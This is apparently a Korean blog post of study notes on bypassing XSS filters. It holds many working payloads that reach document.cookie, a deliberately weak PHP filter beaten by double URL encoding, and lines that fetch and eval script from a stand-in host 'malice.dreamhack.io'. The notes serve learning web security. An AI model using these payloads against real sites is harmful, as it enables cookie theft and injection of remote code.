'll Hacker
XSS Filtering Bypass - 2 정리 본문
1) 불충분한 XSS 필터링
1-1) Unicode escape sequence를 통한 우회 -> 자바스크립트 Unicode escape sequence 지원
참고 : https://dencode.com/string/unicode-escape
var foo = "\u0063ookie"; // cookie
var bar = "cooki\x65"; // cookie
\u0061lert(document.cookie); // alert(document.cookie)
1-2) Computed member access를 이용한 우회 -> 자바스크립트 Computed member access 지원
💡 Computed member access? 객체의 특정 속성에 접근할 때 속성 이름을 동적으로 계산하는 기능
alert(document["\u0063ook" + "ie"]); // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]); // alert(document.cookie)
1-3) alert, XMLHttp Request 등 문서 최상위 객체 및 함수 우회
▶️ window['al'+'ert'], window['XMLHtt'+'pRequest'] 등 이름 끊어서 쓰기
1-4) window 우회
function XSSFilter(data){
if(/alert|window|document/.test(data)){
return false;
}
return true;
}
▶️ self, this 이용
this['al'+'ert'](this['docu'+'ment']['coo'+'kie']);
1-5) eval(code) 우회
▶️ Function(code) ( )
1-6) Function 우회
▶️ isNAN['constr' + 'uctor'] 등 함수의 constructor 속성 접근
function XSSFilter(data){
if(/alert|window|document|eval|cookie|this|self|parent|top|opener|function|[\-+\\<>{}=]/i.test(data)){
return false;
}
return true;
}
/* 주요 키워드 이외에도 특수문자 등을 탐지합니다.
* decodeURI, atob와 constructor 속성을 함께 사용하면 원하는 임의의 코드를 실행할 수 있습니다.
*/
// %63%6F%6E%73%74%72%75%63%74%6F%72 -> constructor
// %61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29 -> alert(document.cookie)
Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](
decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();
Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();
1-7) 6개의 문자 " [ , ] , ( , ) , ! , + " 이용하여 우회 -> XSS 공격 구문의 길이가 늘어난다는 단점 존재
▶️ 참고 : https://jsfuck.com/
1-8) 템플릿 리터럴 이용한 우회 -> 문자열 사용할 때 필요한 따옴표( ", ' )가 필터링되어 있는 경우
💡템플릿 리터럴?
|
var foo = "Hello";
var bar = "World";
var baz = `${foo},
${bar} ${1+1}.`; // "Hello,\nWorld 2."
1-9) RegExp 객체 사용하여 우회 -> 따옴표와 백틱을 모두 사용하지 못하는 경우
var foo = /Hello World!/.source; // "Hello World!"
var bar = /test !/ + []; // "/test !/"
💡 RegExp 객체?
`RegExp` 객체(정규 표현식 객체)는 JavaScript에서 정규 표현식을 다루기 위한 객체입니다. 정규 표현식은 문자열에서 패턴을 검색하거나 대체, 추출하는 등의 문자열 조작 작업을 수행하는 데 사용됩니다. `RegExp` 객체는 다음과 같은 방법으로 생성할 수 있습니다:
1. 리터럴 표기법:
let regex = /pattern/;
2. RegExp` 생성자:
let regex = new RegExp("pattern");
여기서 "pattern"은 검색하고자 하는 정규 표현식 패턴입니다. `RegExp` 객체를 사용하면 문자열에서 패턴을 검색하거나 다양한 문자열 조작 작업을 보다 유연하게 수행할 수 있습니다.
예를 들어, 다음은 정규 표현식을 사용하여 문자열에서 숫자만 추출하는 예제입니다:
let str = "Hello 123 World";
let regex = /\d+/; // 숫자에 대응하는 정규 표현식
let result = str.match(regex);
console.log(result); // 출력: [ '123', index: 6, input: 'Hello 123 World', groups: undefined ]
이 코드에서 `\d+`는 하나 이상의 숫자에 대응하는 정규 표현식입니다. `match` 메서드를 사용하여 문자열에서 해당 패턴에 대응하는 부분을 추출할 수 있습니다.
1-10) fromCharCode 함수 사용하여 우회
⏩유니코드의 범위 중 파라미터로 전달된 수에 해당하는 문자 반환
var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"
1-11) 기본 내장 함수 및 객체 문자를 이용하여 우회
⏩ 내장함수나 객체를 toString 함수를 이용해 문자열로 변경하게 되면 함수나 객체의 형태가 문자열로 변환됨
원하는 문자열을 만드는데 필요한 문자들을 내장 함수나 객체로부터 한 글자씩 가져와 문자열을 만들 수 있음.
var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"
- history.toString( ) -> [object Histroy]
- URL.toString( ) -> function URL( ) {[native code]}
- history + [ ]; history + 0 -> 객체 내부적으로 toString 함수를 호출해 문자열로 변환 후 연산 수행
1-12) 진수 변환 이용한 우회
var foo = (29234652).toString(36); // "hello"
var foo = 29234652..toString(36); // "hello"
var bar = 29234652 .toString(36); // "hello"
1-13) javascript 스키마를 이용한 location 변경하는 우회 기법 -> 함수호출할 때 소괄호와 백틱( `)이 필터링되어있는 경우
⏩URL을 이용해 자바스크립트 코드를 실행시킬 수 있음. 이를 이용해 현재 location 객체를 변조하는 방식으로 자바스크립트 코드를 실행하는 것이 가능
location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";
1-14) Symbol.hasInstance 오버라이딩
⏩Symbol.hasInstance well-known symbol을 이용하면 instanceof 연산자를 오버라이드(재정의)할 수 있음.
즉, 0 instanceof C 를 연산할 때 C에 Symbol.hasInstance 속성에 함수가 있을 경우 메소드로 호출하여 instanceof 연산자의 결과 값으로 사용하게 됨. 이 특성을 이용해 instanceof를 연산하게 되면 실제 인스턴스 체크 대신 원하는 함수를 메소드로 호출되도록 할 수 있음.
"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
💡Symbol?
- 생성자가 symbol 원시 값을 반환하는 내장 객체
- symbol 원시 값은 심볼 값, 혹은 짧게 심볼이라고 부르며 고유함이 보장됨
- 심볼은 객체에 속성을 추가할 때 고유한 키를 부여하여 다른 코드와 충돌하지 않도록 할 때 많이 쓰임.
- 추가한 속성은 일반적인 방법으로 접근 불가하여 캡슐화 또는 정보 은닉을 제공
1-15) document.body.innerHTML 추가
⏩document.body.innerHTML 에 코드를 추가할 경우 새로운 HTML 코드가 문서에 추가되고 자바스크립트 코드를 실행가능
document.body.innerHTML+="<img src=x: onerror=alert(1)>";
document.body.innerHTML+="<body src=x: onload=alert(1)>";
▶️ 주의! innerHTML로 HTML 코드를 실행할 때에는 보안 상 <script> 태그를 삽입해도 실행되지 않음.
따라서 이벤트 핸들러를 이용해 자바스크립트 코드를 실행해야함.
2) 디코딩 전 필터링
본래 입력 검증은 디코딩 등의 모든 전처리 작업을 마치고 수행해야함.
예) 클라이언트의 요청이 웹 방화벽을 거쳐 애플리케이션으로 전달되는 웹 서버를 생각해보겠습니다.
이 환경에서 웹 방화벽은 요청을 검증해서 XSS 공격 코드를 차단.
애플리케이션은 웹 방화벽을 통과한 데이터를 받아 작업 수행함.
이 때 애플리케이션은 전달받은 데이터를 다시 디코딩해서 사용하면 안됨.
그런 경우 공격자가 더블 인코딩으로 웹 방화벽의 검증을 쉽게 우회할 수 있음!
💡더블 인코딩
- 보안 제어를 우회하거나 애플리케이션에서 예상치 못한 동작 유발하기 위해 사용자 요청 매개변수를 16진수 형식으로 두 번 인코딩하는 것으로 구성됨.
- 웹서버가 다양한 인코딩된 형식으로 클라이언트 요청을 받아들이고 처리하기 때문에 가능함.
Senario : Attacker가 게시글에 공격 코드 <script>...</script>를 포함하여 게시판에 올리고, 희생자가 해당 글을 읽는다.1) 공격자가 더블 URL 인코딩한 공격 코드 %253script%253E...를 포함하여 게시글 업로드 요청2) 웹 방화벽이 해당 데이터를 디코딩 후 검증. 디코딩한 결과인 %3Cscript%3E...는 안전하다고 판단하여 차단하지 않고 애플리케이션에 전달 3) 애플리케이션이 해당 데이터를 또 디코딩해서 <script>...를 게시판 DB에 저장(검증 후 디코딩 발생) 4) 희생자가 해당 게시글을 읽으면 XSS가 발생하여 악성 자바스크립트 코드 실행됨 |
⏬검사가 미흡한 PHP 예시
<?php
$query = $_GET["query"];
if (stripos($query, "<script>") !== FALSE) {
header("HTTP/1.1 403 Forbidden");
die("XSS attempt detected: " . htmlspecialchars($query, ENT_QUOTES|ENT_HTML5, "UTF-8"));
}
...
$searchQuery = urldecode($_GET["query"]);
?>
<h1>Search results for: <?php echo $searchQuery; ?></h1>
⏬공격에 실패한 경우
POST /search?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
...
-----
HTTP/1.1 403 Forbidden
XSS attempt detected: <script>alert(document.cookie)</script>
⏬더블 URL 인코딩을 통해 공격 성공한 경우
POST /search?query=%253Cscript%253Ealert(document.cookie)%253C/script%253E HTTP/1.1
...
-----
HTTP/1.1 200 OK
<h1>Search results for: <script>alert(document.cookie)</script></h1>
3) 길이 제한
3-1) location.hash를 이용
https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);
3-2) 외부자원을 이용
import("http://malice.dreamhack.io");
var e = document.createElement('script')
e.src='http://malice.dreamhack.io';
document.appendChild(e);
fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))
'Hacking > WebHacking' 카테고리의 다른 글
GET 방식과 POST 방식 데이터 요청 (0) | 2024.03.15 |
---|---|
XSS Filtering Bypass write up (0) | 2024.02.12 |
XSS Filtering Bypass - 1 정리 (0) | 2024.02.07 |
XSS(Cross-Site-Scripting) 정리 (0) | 2024.02.06 |
Dreamhack wargame : web-ssrf write up (0) | 2024.02.06 |